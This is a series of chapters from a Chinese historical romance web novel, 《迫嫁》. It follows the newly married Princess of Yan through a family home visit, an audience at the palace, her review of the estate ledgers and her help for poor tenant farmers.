太傅府地处皇城以北,半个多时辰后,马车停在漆红大门口,后面拖着长长一排鲜艳的回门礼箱,惹得道路旁的百姓频频驻足。 苏太傅阖家众人已然等在府门口,秦执先下,宝筝搬来踩凳,搀苏玉瑶下来,夫妻二人前后走近石阶。 周克携着一干仆从先跪下行礼,“奴才们叩见太傅。” 秦执:“岳丈大人。” 苏玉瑶也紧随其后,软声道:“父亲。” 苏维安忙快步往前托起二人的手势,笑道:“燕王佳婿,也是没想小女有此际遇。王爷难得回京,咱们去书房好生聊聊,让玉瑶和她母亲说些体己话。” “岳丈先请。” “请。” 苏玉瑶下马车前心里担忧,怕燕王因为不喜她而给苏家难堪,直至看到他们被簇拥进去,谈笑风生。 王氏上手抚摸了她的雪腮,眉心微蹙,“这才三日不见,总觉得你瘦了,有没有好好用膳。” 听到燕王没死的消息,她和老爷一晚上都没睡好,不知该高兴还是愁,最怕燕王发怒将人给斩了。 好在玉瑶没事,方才她一打眼,王爷是出乎她意料的天人之姿。 总算玉瑶有福气,他们也少了罪孽。 苏玉瑶感受到夫人真心的关怀,握住她的手,微笑道:“母亲,女儿很好,可王府饭菜再好吃,也不及母亲给我做的家乡菜,后悔从前吃少了。” “你呀!” 王氏被她说得心暖,感叹她这养女自小就贴心省心,若是她亲生的该多好。 母女二人一边聊,一边走往隔壁内院,门前苏玉瑶没见到苏玉琼,问道:“母亲,姐姐呢” “哎。”王氏提起亲闺女言辞无奈,“十六了仍孩子心性,她与你父亲闹脾气呢。” 苏玉琼当年走散被一家商户收留,虽不是巨富人家,对她也当亲女儿培养,花钱找学堂教授了读书习字。然而只会读写在苏维安看来太过勉强,怎么配的上老友状元之才的儿子,因此在家天天逼她练琴棋书画。 她们闲聊漫步的当口,天然居正房卧榻上的女子正百无聊赖地玩弄头发。 她生得柳眉杏眼,玉颊红唇,即便不是苏玉瑶那般的清丽绝色,也不失为一位标致的美人,就是眉宇间的不耐烦瞧着有点儿刻薄。 一名小丫鬟忽地窜入,朝着斜躺的女子嘟囔道:“大小姐,奴婢看着了!” 苏玉琼一听,赶紧爬起来问:“怎么样,据说他会打仗,定然长得五大三粗,是不是!” 宝琴听不懂词语,鼓嘴道:“大小姐,他们说二姑爷长得好。” “……那,那反正也不会比祁渊好看。” 宝琴性子单纯,照直背听到的:“五个人,三个觉着二姑爷长得比祁公子还好,另两个觉得二姑爷不笑的时候让人害怕,就不好了。” 苏玉琼听了心里不舒服,狠狠踢了宝琴一脚,“哼,你们有什么眼界,我才不信。” 宝琴捂着小肚子委屈地退了出去。 苏玉琼想想实在不甘心,她在江南娇生惯养,被人寻到才知不是家中亲生,好在她命好,亲父母竟是一品大官。 但是细想,苏玉瑶比她命还好,抢走她千金小姐的位置十几年,嫁个冥婚,还能嫁到有封地的异姓王。 她怎么甘心啊! 苏玉琼忿忿不平,外头传夫人和二小姐进院,她忙沾起茶水往眼底按了两滴。 “母亲,你们可来了。”苏玉琼抬起头,泪眼婆娑,“妹妹啊,母亲这三日盼你盼的,都看不见我了。” “瞎说八道。” 王氏一看到玉琼,方才一路抱怨的她如何不乖巧仿佛都忘了,即时松开牵着玉瑶的手,上前抱住女儿,心疼道:“哎哟,又哭什么。” 苏玉瑶掩下眼底失落,上前递上丝帕,“姐姐,父亲是爱之深,你别往心里去。” “我有甚办法,我不像妹妹,过往十几年都没的学,一口吃得成个胖子吗?”苏玉琼咻咻鼻子,形容委屈,“爹爹还说我身上有市井气,嫌弃我呢,当年是我想走散的吗?!” 王氏一听蓦地心软,轻拍她的肩,“你别搭理他!不想练就不练,母亲帮你跟他说!祖宗订的婚约,祁家还敢不娶了?” 苏玉瑶站在一旁略显多余,恰好宝琴搬来一张椅子,看到她两眼一亮,脑袋摇摇晃晃,笑嘻嘻道:“二小姐!” “宝琴。” 宝琴是家生子,天生智力较普通人差,太傅夫妇念在她爹娘勤恳,平常就让她做些简单扫洒的事,最近安排给了苏玉琼院子里做玩伴。 “宝筝在外头,你去和她玩会儿。” “嗯!” 房中只剩母女三人,一阵寒暄,王氏在床边靠着苏玉琼,开始问苏玉瑶一些私己话题。 “玉瑶,我听闻燕王每年只留京月余,有没有说何时带你回冀州?” 苏玉瑶心想,她留在京中的事是板上钉钉,没有瞒的必要,就坦然道:“王爷在西北事忙,我愿留在京中替他守着王府。” “啊?不带你走?”王氏是过来人,一看她下轿的姿势就知她还是完璧,急道:“那你们就靠两个月如何培养感情。” 对她来说,她承认最疼惜亲女儿,但也衷心希望养女过得好。 苏玉瑶不想王氏担忧,笑着编谎安抚她:“母亲,只是暂定,王爷对我很好,我们凡事亦有商量,你就别担心了。” “……那就好。” 苏玉琼听到这,故意插嘴:“妹妹,我看你与王爷琴瑟和鸣,你应该已忘了祁哥哥的哦?” 王氏看着外面隐约的侍卫身影,焦急道:“你胡 7. 第 7 章 《迫嫁》全本免费阅读 夜色下马车疾驰,苏玉瑶感觉很颠簸,晕晕沉沉中,头被磕到好几次,撞的她半醒。 她口渴,吃力地睁开眸。 车厢角落上着烛火,不远处似乎有盏移动的虚影,她脑子一团浆糊,凭本能撑着厢椅挪动,抻长手臂一把夺了过来。 秦执正在看书,手中倏然一空,掀眸望过去。 女子没坐稳,端茶的手在打颤,闭着眼咬上杯沿,溢出的茶水从她柔软饱满的唇淌下来,沿着雪白颈项一点点往下流。 她实在太渴了,很快不耐烦地仰头饮尽,湿漉漉的水痕便化作一条线,蜿蜒没入胸前鼓囊的领口。 是因为他没喝到水么,秦执觉得他的喉咙越发得紧。 几息后,苏玉瑶解了渴,抬起手袖擦拭,随后乖乖地将杯子还到了原处——秦执的手中。 男人把玩掌中失而复得的瓷杯,视线落在杯沿上的红红口脂,“你是在与我耍酒疯?” 苏玉瑶现下自认为清醒,实则像半空踩着云朵般虚浮,有几分意识但不多,回答也随本心,抛开了往日维持的端容。 “我是渴,抢了你的水,你不喜,我再替你倒就是。”他作甚冷腔。 苏玉瑶说完,颇倔强地蹒跚走到秦执身侧,拿起茶壶对不准几乎全洒男人身上,秦执看着湿透的下摆,皱眉拑制住她反手一压,将她禁锢在自己的怀里。 他寒声:“给本王安分点。” 苏玉瑶一听他的自称,条件反射般呆坐不再动,“是,王爷。” 秦执呵笑,醉酒放肆成这样,“你居然还记得本王是王爷。” “记得,我嫁了燕王,今日是回门宴。”苏玉瑶眯了一下桃花眼,在男人怀里调整了个舒服的坐姿,软绵绵的腔调断续:“还吃了,青梅酒。” 经过一整日,女子衣料上的陈香敞得所剩无几,清甜的酒味并不让人难忍,秦执心道免得推开她再惹事,索性将她困在这处。 她的脸颊贴紧秦执硬实的臂弯,哪有半分往日端庄,醉酒微醺,眸光却澄澈,似沾了晨露的娇兰,无限风情。 秦执忽然想起苏玉琼说的,她从前也饮过酒,祁渊有没有见过她如此。 “不!” 秦执临时扯回思绪,“不什么?” 她难道还能猜到他所想。 苏玉瑶猛地从他身上弹起,像是忽然记起来什么要紧事,整个身子往外努动,小而红润的嘴唇念念有词:“父亲,不能再喝了。” 秦执:“……” 虽然她划动了半天,也没划出个名堂,口中的嘟哝却是不停,如同叽叽喳喳的小鸟。 男人初时还能忍,逐渐失了耐性,放弃执书的左手捂上她的嘴,“够了,安静些。” “唔……” 若是现在有谁撩帘,就会看到他们的姿势有多么暧.昧,男人宽肩腿长,怀里拢一个女子绰绰有余,骨节分明的手掌几乎遮住了她的下半张脸,顺势将她摁在他的胸膛。 连铺在厢椅上二人的衣角,都是鸦青压着桃花粉,缠绕在一起。 过了会。 秦执低头沉声:“青梅酒是祁渊送你的。” “唔……” 苏玉瑶不能张嘴难受,不知怎么想的,她伸出舌头舔了一下男人的手心,算是回答。 秦执的大手几不可查地一颤。 “与祁渊也曾这般,喝过酒。” 苏玉瑶想了想,应该是没有,她不知好歹,连连舔了他手心两次。 酝着体温的濡湿带起一股酥麻感从掌心传至男人腹.下,发烫的虎口,破出的欲望,还有竭力压制的本能。 始作俑者却仍是满脸期待地盯着他,等他问起第三个问题。 男人的手掌缓慢上移,遮住她那双过于勾惹的眼眸,露出下面早被酒色染红的檀唇。 他的视线直勾勾落在她的唇,“苏玉瑶,敢骗本王是会死的。” 此时的苏玉瑶听不出语气,无谓害怕,再说,谁骗他了。 她后知后觉,仍以为被捂着,探出灵巧薄薄的舌头,没舔到,花瓣似的舌尖空绕了一小圈,搭着贝齿落寞的收回去。 秦执的眼神晦暗不明,克制不住靠近,在快要贴上时,他恍然清醒,停在她唇前一寸。 区区美色,他还是第一次着道。 男人气息不稳,哑斥道:“去窗边坐好。” 苏玉瑶被他没来由地一推,没用力也足够她头晕目眩。她踩着高底鞋好不容易攀到了侧座,略带委屈地回头,“王爷欺负人。” 秦执喝完两杯冷茶,勉强压了兴致,也是为了转移注意力,他接道:“本王可比不上你的好姐姐。” 苏玉琼那等拙劣的挑拨,是赌男人所谓的自尊心,他的确不喜,但若是这么容易上当被激,他十岁时在秦家后宅就被太后废了。 苏玉瑶趴在窗台上,看着外面高挂的弦月,晚风温凉扑到脸上,她好像短暂地清醒了一刻。 “我晓得,她想让王爷。”女子下颚抵在臂上,轻轻吐字:“教训我。” 不知为何,秦执只觉她每一句话都是歧义,在撩拨他的心弦。 “你不怕么。” “怕有什么用。”苏玉瑶垂眸道:“但我很冤枉,酒的确是祁渊送的,但我……我与祁渊,循规蹈矩,他不是孟浪的男子。” 祁渊给她酿青梅,是因为她胃脘旧疾吃不得酒,他心疼她眼馋,特意寻师傅用古法酿出酒味极淡的品种,没想她易醉,是以每年也就借祁家的名义送个三小壶尝鲜。 她不是木头,自然会因为苏玉琼针对她,养父母偏心默许而难受。 但他们是这世上与她的唯一关联,她可以不依靠,不能连一丝念想都没有。 秦执猜到她大概在回忆祁渊,莫名不希望她想下去,“本王不教训你,困就睡吧。” “嗯。” 苏玉瑶缓缓将脸埋进臂弯,秦执重新拾起书册,不知过了多久,他听到女子呢喃。 “王爷,父亲错了。” 秦执敛眸,朝苏玉瑶那边微微偏转。 “父亲错了,我想,对我而言,王爷活着比较好。”她说。 …… — 苏玉瑶醒来是第二日清晨。 她的嗓子干的都快冒烟了,“宝筝。” “小姐,来了!”宝筝端着铜洗和牙具,快步送到床边,“小姐将就在这洗吧,省的起身。” 苏玉瑶确实没多余力气,简单洗漱完,喝了碗温蜜水,感觉整个人方重新活过来。 她扶着额头,揉了下眼尾,“我昨晚怎么上床的。” “是由奴婢和彩月一起将王妃抱上去的。”宝筝瘪嘴嘀咕,“王爷没多看一眼就走了。” 苏玉瑶直接忽略后半句,在她的意料之中,“宝筝,将家里带的衣裙再过水洗一遍。” “是,小姐。” “对了,王爷脸色如何,有没有很难看?” 昨晚苏玉琼毫无分寸,企图暗示她和祁渊有过往,这无疑让燕王失了面子,秦执不止生她气,大概还会生整个苏家的气。 最怕迁怒无辜的祁府,祁老爷就快致仕回乡,别闹出风波才好。 “奴婢不记得了。” “眼下什么时辰?” “辰时。” 宝筝回完,刚要开口,苏玉瑶未留意,先她一步道:“你派人去正院,问问王爷愿不愿意与我一道用午膳。” 她必须和秦执解释,消消他的火气。 “是,奴婢这就去。” …… 王府花苑的望风亭内,右侍郎范旻将即日递交给户部审核的各地军粮分配文书拓本,恭敬俸给面前的男子。 “王爷,正如下官方才所禀,汪尚书划给冀州的军粮,不足往年三分之一。而陇西那边万五的兵力,则加了三十万石米。看来太后有意扶植甘州征募。” 秦执抽出几页,哂笑道:“不止甘州,瀛州和莫州,她想并用三处封死本王。” 现在的冀州并不是曾经的冀州全境,而是将最荒凉,战争频繁的地带划分出去成为了封地,即使经过五六年的屯田经营,军粮储备依旧勉强。 秦执每年进京,多是为了督办此事。 男人按了按眼尾,“把陆程英叫来。” 范旻恍然道:“王爷是想用我们在户部私存的二十五万两盐引?倒是的确可以送往冀州,换得的粮草至少能保一年半载。” …… 8. 第 8 章 《迫嫁》全本免费阅读 午膳持续了半个时辰,等到秦执终于出来,宝筝率先进屋收拾,往桌上一看,这饭菜几乎没动。 “小姐,王爷中午吃的什么呀?” 苏玉瑶低着头,耳朵红透,手压住稍微散开领口,“他不饿,你们把这些分了。我去午睡一会儿,不许打扰。” 说罢,女子腾身回了内室。 宝筝看着消失在帘后的背影,她还是难得见小姐如此慌张,发生什么了? 周克服侍过宫妃就懂得多,摇头叹气,王爷真是过分啊,这种事哪有半途而废的,可不是伤了王妃的心! 内室,苏玉瑶坐在妆奁铜镜前,羞恼地将锦帕扔在桌上,明明都擦了三遍,怎的那里还是温热,萦绕着他身上的檀香。 不多会,她闷闷地捡回来,沾点水继续擦。 光天白日,方才的秦执简直在发疯,她不会自作多情的以为他对她有意,只怕是一时兴起的逗弄和消遣,他当她玩物吗。 苏玉瑶脸上的红晕褪却,慢慢回过神,记起自己似乎因为紧张,抓挠了他脖子几下。 完了,秦执回去发现后会不会与她秋后算账? 罢了,明明是他先白日宣淫…… 苏玉瑶翻来覆去,在床上躺到了晚膳时分,好不容易将情绪揭过去,宝筝端着清粥进门伺候,小丫鬟欲言又止,心不在焉。 “宝筝,你是不是有话说。” “是……小姐,奴婢有个事儿想求您。”宝筝忸怩道:“小姐,能不能将宝琴带到王府来?和彩珠彩月加一块也能凑个整……” 苏玉瑶慢咽下一口,道:“宝琴在姐姐院里好好的,又是苏家的家生子,我怎能说要就要呢?” 苏玉琼一直恨她夺走了一切,若她再去讨要贴身丫鬟,姐姐最好面子,定会闹得天翻地覆。 “为何突然提起此事,宝琴与你说甚了?” 宝筝摇头,“她哪里懂这些,就是回门那日奴婢与她难得一聚,宝琴哭着说不舍得……她生得标致,长一岁身段也抽条了,奴婢怕她受欺负。” 宝琴与宝筝同龄十四,二人有缘投趣,在苏玉瑶的芳玠院作伴。 宝琴天生智力差,家中教到八岁才学会简单的整理扫洒,为人听话乖巧,被人占便宜了也讨不来公道,从前全靠宝筝伶牙俐齿护着她。 可惜当时苏玉瑶冥婚不能带上宝琴,将她留在了苏府,太傅夫妇待下人宽和,想来日子不难过。 宝筝想想也是,捏着衣角小声,“小姐,奴婢也就瞎问问。” “我会写封信给母亲,让她尽量多关照宝琴,好不好?” 宝筝眉开眼笑,“好,奴婢替她多谢小姐!” …… — 晚上,秦执都没来二院,周克主动打听得知王爷去京畿营会面旧友,要三天。 苏玉瑶自是不在意,继续过着恬淡悠闲的小日子。 永安宫太后的召见打破了王府平静,原本由崔公公送柳嬷嬷过来,变成了苏玉瑶进宫领账簿,约莫是太后想见见这位新王妃。 通传的太监带上轿撵等在大门口,女子换上云锦宫装,仓促上了轿。 到了西华门,苏玉瑶拾裙落地,抬眼便见崔大公公与她招手,她小步走近,挽唇道:“让崔公公久等。” 崔公公看她穿着,“不错。” “还要谢公公指点。”宝筝伺候她换衣时,周克忽地记起崔乐曾闲聊到太后很喜欢黛紫,她压箱底正好有一件。 崔乐笑道:“不算指点,说者无意,全凭听者有心。” 谈笑间二人走到了后宫花苑的垂花门口。 苏玉瑶记得参加茶宴来过,当时宴席由宜香公主主办,小半年前的事,此刻回首起来恍如隔世。 崔乐走前面,引着苏玉瑶穿过庭廊,向后预告:“太后喜见春日浓,邀了正在宫中的翰林院孟学士的女儿陪同赏花,孟静荷,想必王妃认识。” “嗯。” 当初公主伴读的名额,就是她和孟静荷入选,后来她成了太傅养女,孟静荷得到了进宫的机会。 苏太傅和孟学士不熟,因此她和孟静荷也只是点头之交。 …… 景和花苑里,秦太后正站在芍药花圃前与孟静荷赏花说笑,小太监一声通传“燕王妃到”,太后脸上笑意变浅,孟静荷更是一下冷淡。 苏玉瑶跪下行全礼,“臣妾参见太后,太后万福金安。” 说罢,女子抬起头。 阳春三月,遍地姹紫嫣红,压不住她的一张娇靥绣面芙蓉,延颈秀项,皓质呈露,当真脱俗如明珠生晕。 秦太后见过苏玉瑶的画像,没想到真人比画像还美。 难怪六郎欢喜,她对苏玉瑶的容颜也甚满意。 至于一旁的孟静荷,她和苏玉瑶皆是京中有名的官家小姐,从小见过,当然不惊讶对方的样貌。 以色事人者,色衰而爱弛,她们各有所长她不嫉妒,可曾经的她怎么也猜不到,有朝一日,苏玉瑶会凭运气抢了她的心头好。 没关系,一年而已,她等得及。 秦太后凤眸扫过苏玉瑶,掰折了支花,示意她起身,“衣裳不错,做王妃了就该端庄,而不是整日穿粉带绿。” “太后说的是。” 秦太后一直将苏玉瑶看作秦执临时的玩物,放低了要求,这会子见了倒是打眼过得去。 孟静荷冷冷瞟了眼苏玉瑶,往右侧福身,“太后还有正事,小女先行退下。” “去吧,你且回宜香殿里,哀家晚些时候再召你。” “是,小女告退。” 等她走后,崔乐一看秦太后抬手扶额,眉心微拢,躬身道:“太后,日头晃眼,不如去六角亭歇着,让素娥搬花给您赏。” “也好。” 苏玉瑶紧随其后,到了亭内,太后给她赐了座,她谢恩坐下。 秦太后靠坐扶手椅,侧头欣赏宫女捧着的紫红芍药,示意崔乐代她说明。 崔乐上前简要道:“王妃,太后这两日已命人将暂替燕王管家的账簿整理成册,您出宫即可带回去。” 苏玉瑶认真应下,“好,臣妾一定尽心。” 秦太后皱眉,“光尽心无用,你资历尚浅,哀家替你备了位教导嬷嬷,你一并带回去好生请教。” “臣妾谢太后娘娘恩赐。” “嗯,把女诫背给哀家听听。” “是。” …… 崔乐送苏玉瑶出宫时,苏玉瑶回想起那个厌恶她的眼神,忍不住问道:“崔公公,孟静荷是不是认识王爷?” 她思来想去,没有惹过孟小姐,唯一变数就是她嫁给了燕王,思己及彼,她冒出这样的猜测。 “王妃眼尖儿,孟小姐和燕王素有渊源,只是她没福气,若非那场乌龙,太后更属意她做燕王妃。” 苏玉瑶明白了,“噢。” 原来秦执也有他的小青梅。 …… — 因着账簿需装车,柳嬷嬷和好几挑担木箱晚了一刻钟到王府。 苏玉瑶已换了常服,朝院门跨进来的柳嬷嬷笑着示意。 她们是旧相识,太傅府贴身相随六日,互相了解彼此的气性,省去了初见的虚伪客套。 柳嬷嬷往前福身一步,“在宫里不方便拜见,老身见过王妃。” 柳桂勤是女织,因一手精巧绣工进了永乐宫,可惜年纪大眼力差了办不成新差事,上次被秦太后安排看管燕王妃之后,她就等着发配浣衣局。 万万没料到,事态发展得出人意表。 据说是崔公公在太后面前提了她一嘴办事有力,才会轮到她出宫,但她总觉得,一切和燕王妃有关。 脾性这样好的美女子,可惜…… 柳嬷嬷想到启程前太后冷冰冰的话,苏玉瑶只能做一年的王妃,她来也不为了管账,而是监视不能让苏玉瑶有孕,影响新王妃入府而已。 “嬷嬷,别来无恙。”苏玉瑶温柔地拉起她的手,“嬷嬷就随我住这二院,时时看账也方便。” 柳嬷嬷别过脸,怕对面看出她的愧疚,“好的。” 苏玉瑶绕着院里十数个箱子,迟疑道:“这么多……都是账本吗?” “是的王妃,除开那边两箱是地契银票,其余都是账簿。” 苏玉瑶绕到装产契的箱子,弯腰揭开来,一眼看下去 9. 第 9 章 《迫嫁》全本免费阅读 翌日,秦执从京畿营回府,见到下人们纷纷兴高采烈地往二院跑,一向静谧的王府熙攘热闹犹如街市。 男人余光向后,“鹿明儿。” 鹿明儿上前捧过男子的仗剑,解释道:“禀告王爷,您几天不在,宫里将您的私产,账簿都送回来了。王妃新掌家,这是在挑选可用之人——咦?” “王爷,您脖子上的抓痕,是新伤吗?” 秦执:“剑伤。” “……”哪有三道同时等长的剑伤,王爷说是就是吧,鹿明儿想起周克的招呼,请示道:“对了王爷,王妃说等您回来想见您,您是现在见,还是……” “先沐浴。” “是。” …… — 春日暖融的午后,苏玉瑶站在书房的门口,心中却微寒,毕竟上次在这间房里的回忆并不美好。 鹿明儿笑呵呵摊手:“王妃请进。” “嗯。” 苏玉瑶捏紧新簿的书脊跨过门槛,迎面淡雅的木质冷香瞬间将她围裹。 对面半合的雕花窗桕射进一屋子的日光,窗阶下官窑画盆盛满卷轴,书柜雅致古朴,一切仿佛被翻新修葺过,很难与那天审问犯人时的血腥场景联系起来。 第一眼没找到秦执。 苏玉瑶将账簿放在案上回头,秦执恰好从屏风后踱步走出。 男人刚沐浴完,一身日常水墨色衣,宽肩高挑。深邃的眉骨挂了几颗水珠,半湿的鸦发逶迤披在肩后,交襟领沾水透色,印出他肌理分明的胸膛。 经过她时,苏玉瑶能隐约看见他颈侧的抓痕,三道皆出自于她。 女子低下头,暗自祈祷他已忘了旧事,千万别与她算账。 秦执落座案后,翻看起桌上她给的册子,“见过太后了?” 苏玉瑶收回遐思,柔声回答:“是,太后让妾身背了女诫七篇。” “宫里没见其他人。” “……有的,见了孟学士家的小姐,孟静荷。” 苏玉瑶答完,偷偷看秦执的脸色,然他神情毫无变化,只应了一声,仍在看手上的簿册。 正事要紧。 女子想了想,随他翻页的频速慢慢解释:“王爷,妾身记的这些是宫里送来的所有王府产业,经对照发现,数目对得上,但有十几处是近两年置换过的……” 也就是将原本的好田好铺子,被替换成偏僻地方和盐碱地。 “今年亦已提前收租成,共结余八千两。”等于说剩下的好庄田和商铺,十年来也没赚到多少银两。 “这是按着宫中账簿,妾身所查的实情,请王爷检阅。” 苏玉瑶的话很明了,若非太后,没人敢明目张胆侵吞燕王的财物,也正因是太后,她不得不询问燕王的意见。 秦执掀眸望她,忽地问道:“这两日做这些累吗。” 他当初对她说的打理王府,主要是杜绝太后塞闲杂人进来,许她做个花瓶,至于太后手里的秦家资产,他其实并不关心,也不信太后会真心还回来。 他没想到她这样勤恳。 苏玉瑶摇摇头。 秦执合上簿,半晌道:“这件事,本王不会同太后计较。” “妾身明白。” 秦执的反应平淡,俨然早已预料,苏玉瑶也猜到了,王爷和太后是亲姐弟,断然不会查下去,反正地契还在,就当新的从头开始。 苏玉瑶抬头,“那……王爷,从前的账目不算,妾身重新做账了?八千两部分用作经营,可能花销上要吃紧,王爷介意吗?” 秦执见女子眼神清亮,扬唇道:“王妃似乎跃跃欲试。” “是呀,好大一笔呢。” 就算被换了贫瘠的庄园土地,依旧有很多,难道不该打理么。 苏玉瑶昨天听张百泉解释,因为私换土地,原本的佃农一并换了过来,他们失去了本该拥有的好田,收不到好的粮食,日子过得水深火热。更有甚者,各地揣测上意,中饱私囊的庄头肆意压榨,庄园里百姓们苦不堪言。 这些人本与她无关,可她既看了账,就很难置身事外。 她想帮他们,也是帮王府。 细数起来,从前只遵循父母的教导,她好像还没做过自己想做的事。 苏玉瑶生怕秦执不同意,又道:“我明白王爷在冀州有封地,偌大土地营收自治,的确看不上这些,但京城王府也是王爷的,财生财难道不好吗。” 女子字字恳切,秦执放下书,走到她身侧,低头问:“是因为本王让你打理王府,还是因为作为燕王妃,你才会这样上心。” 他没有发觉,问出这话,是渐渐已经将她视作独属。 苏玉瑶没听出他问题的答案有何不同,想了想,两全道:“妾身是王爷的王妃,王爷命我做事,我一定尽心。” 秦执对她的答案意料之中,她每每都端庄自持,生怕他误会半点私情,“你想清楚,帮了本王就是与太后作对,本王不在京时,没人能护住你。” 苏玉瑶自然懂这一点,“可妾身毕竟是燕王妃,太后会怎样对我?” “或许。”秦执抬手,像认真考虑过,虚点了点女子的左胸口,“杀了你?” 分明没碰到,苏玉瑶总觉得那儿酥酥麻麻,同时他的话让她胆颤,“……妾身胆小,王爷莫要吓我。” 秦执笑道:“你都敢抓本王,还算胆小啊。” 苏玉瑶低头腹诽,那怎么一样呢。 男人靠得近,身上的檀香混合沐浴后朦胧的潮汽,氤氲甜腻,短短一句仿佛重现了那日二人在房内交颈厮磨的情景,让人面红发昏。 苏玉瑶耳后燥热,向后退半步,勉强醒了下心神,“那时,妾身尚未准备,一时紧张,并非有意,王爷要同我计较吗?” 秦执没回她,反而道:“也就是说,若是有准备,王妃便会十分配合,供本王采撷,对吗。” 啊? 苏玉瑶听他曲解,猛地抬头。 10. 第 10 章 《迫嫁》全本免费阅读 这日天气晴好,苏玉瑶决定去南郊通县看看。 京畿的地契中就属那块儿最大,约莫三百多亩,签了壮丁佃农十余个,少说该有七八户农家。 苏玉瑶正在翻看佃契,周克走进房门躬身请示。 “王妃,奴才是陪您一道,还是去寻趁手的木工匠,花匠?”王府不时需要修缮打点门面,先前太后送来的匠人要价过高,现在都得重新遴选一批,周克最近忙得焦头烂额。 “你去忙你的事,我多带个彩珠就好。”彩珠在婢女中年纪最长,也最沉稳,苏玉瑶现下除了宝筝,用她最多。 “是。” 周克出门,宝筝兴冲冲回来,“小姐,鹿明儿备好了马车,就在外头侯着。” 燕王府没有长辈,苏玉瑶出府只需秦执同意,他大概习惯了做甩手掌柜,这些日子对她没甚约束。 一刻钟后整理妥当,苏玉瑶带上宝筝,柳嬷嬷,彩珠一行四人坐进马车,老车夫一扯缰绳,即时启程。 说来难以置信,这是苏玉瑶十六年来第一次去京华远郊,分外清新的春草气令她通体舒畅,不自觉挽起的笑颜也比在府里时多得多。 “王妃,前面有段石子儿路。” “小姐,饿不饿啊?” 彩珠妥帖,时刻关注路况,遇到地势差避不开的会提前与苏玉瑶报备,免得王妃受惊。宝筝则更在意挑包袱中好吃的糕饼塞给自家小姐,天性活泼无比。 二人一静一动,看得柳嬷嬷不住感慨年轻真好。 说到年轻……燕王血气方刚,可她来的这几日,竟从没见过他来留宿,据打探得知,王爷似乎尚未与王妃洞房。若王爷当真不近女色,她这活倒是办得轻松,王妃也少受点罪。 各色糕饼吃到最尾,路越走越颠簸,彩珠都来不及报了。 苏玉瑶掀开绸帘,草长莺飞消失不见,取而代之的是寥无人烟的荒僻地。 “吁——” 车停,众人陆续走出。 苏玉瑶轻轻掸了掸袖袍蹭到的车辕落灰,眺望远处零星几间临时搭建的茅草屋,眉心拧起:“这不会就是,农户住的地方吧。” 春日气候多变,时有惊雷暴雨,农户们单靠这些怎么熬过来。 此时坐在单垄上饿的嚼草的庄稼人眼尖,一眼看到了光鲜亮丽的马车,和车身周围的丫鬟婆子们,尤其为首一位蒙着帷纱,气质出众的年轻夫人。 “大哥,会不会是新来的庄头夫人?”他们这田太贫,旧庄头早在五日前已拍拍屁股走人了,地主爷或许会派新人来。 刘大黝黑的五官皱成一团,打屁股起身,“大概是吧,我去瞧瞧,慧娘你看住憨娃和幺妹,别教他们乱跑。” 妻子陈氏揽着一双骨瘦如柴,衣不蔽体的小儿女,担忧叮嘱:“说话注意点,不能再挨打了。” “我省的。” …… 苏玉瑶没走两步,对面来的刘大扑通跪在了她面前。 他磕了个响头:“夫人大富贵,心想事成,我们半个月前租才交过,真的没东西卖,家里只差喘气的能值点银子。” 他努力平息语气里的愤怒,尽量只显露无奈和乞求。 “你是刘大壮吗?” 刘大全名大壮,是家中长兄,听到这话好奇抬头,隐约看到半张仙女样好看的脸,害怕的重新低下头,“夫人认识小人?” 苏玉瑶看过租约,这方田是刘家兄妹六人拼凑租下,看年纪也能猜到他的身份。 “嗯。起来吧。我不是要收租,只是刚接手想来看看。” 老车夫将大汉扶起。 “夫人,您买了这片地?”刘大一拍大腿,原来这也是个冤大头,郁闷道:“这地根本没收成,无主几十年,官府画上几笔就充了公,您怕是被诓了。” 苏玉瑶细细的听,宝筝从车上提了张凳子,垫好锦帕送来给小姐坐。 刘大壮总觉得眼前贵夫人有种安静恬淡的气场,是个好人,让他觉着安心,便试试坐在了地上,果真没被呵斥,他忍不住接下来一通抱怨。 他们六家人原本住在通县另一边的河西小镇,临河土地肥沃,佃租高于平常一成,所幸近两年风调雨顺,他们勉强为继。 哪知半年前,官府便衣上门给每家扔下一吊钱,说把他们的租约置换成更大的新田,他们喜滋滋跑来,才发现被骗了。 的确多了几十亩,奈何压根种不出东西啊。 庄头搜刮不出选择撂挑子不干,他们借不到牛和铁具,对着整块荒地发愁的几乎要卖儿鬻女,牙子上门五六次,婆娘们到底不舍得,熬到如今快吃草了还没卖。 苏玉瑶听着亦觉心酸,她心下了然,太后不会亲自出手,这其中辗转几番人手,农户们就被剥了几层皮,很是艰难。 她温声安慰:“别担忧,往后一步一步来。” 刘大摇头皱眉反驳:“夫人,要我说,您倒是快些脱手吧。” 苏玉瑶笑道:“刘庄客,田是我的,我不舍得丢,你不妨先带我去看看。” “好吧。”刘大爬地起身,确实走一遭也是应当,“夫人不用喊小的庄客,现下庄头都跑啦,叫我刘大就行。夫人和各位随我来。” 农夫赤足引路,宽阔的田地连天灰色,太阳都照不出生气,除了南边少数几条凸起,剩余一马平川。 苏玉瑶没种过田,但她看的书多,记得盐碱地该是浮土泛白,此处不是,显然是单纯的不曾开垦,那就相对容易。 刘大举手指了指坐人的垄,“夫人,之前庄头有借给我们头牛,两三天犁了那几亩,稍微种些快菜充饥。” 苏玉瑶沉吟:“能不能将所有地翻垦出来?” “啊?那就难喽。” 俗话说:“饥荒之地,草根深结,土性坚固。”第一年翻土润雨,第二年治田养耕,第三年才有机会望望收成,普通老百姓谁等得起。 刘大挠头:“夫人,这活我们真干不了。” 并非他们不愿意,而是第一开完地,官府又来收回怎么办,第二开地时候,他们吃喝靠啥。 苏玉瑶也不与他卖关子,直言道:“按人头算,每年每人会给你们六两生活,至于开荒所用铁具,譬如耒,耜,耕牛等等,我借给你们,用时需做好笔录,不可损害。” 刘大听的不可置信,他家五口人,一老两小,总共三十两比他往年勤恳种田还能多出一点,无异于天上掉馅儿饼。 他猛掐了自己一把,疼到出声,“夫人,真的吗?庄头呢,要抽多少?” 苏玉瑶反问道:“你识字么?” “简单的会,识数。” “那就不设庄头,暂由你做田长,过两日我家账房来这教你如何记账,计数对了就行。” 刘大简直觉得做梦一般,哪有大地主这样婉言细语,好相与的。 农夫激动地回不出话。 苏玉瑶正待看完北边再与刘大叮嘱两句,没想刚走两步,身上忽然被猛地一撞,丫鬟们反应不及迟一步扶上,女子闷哼一声。 扭到脚了。

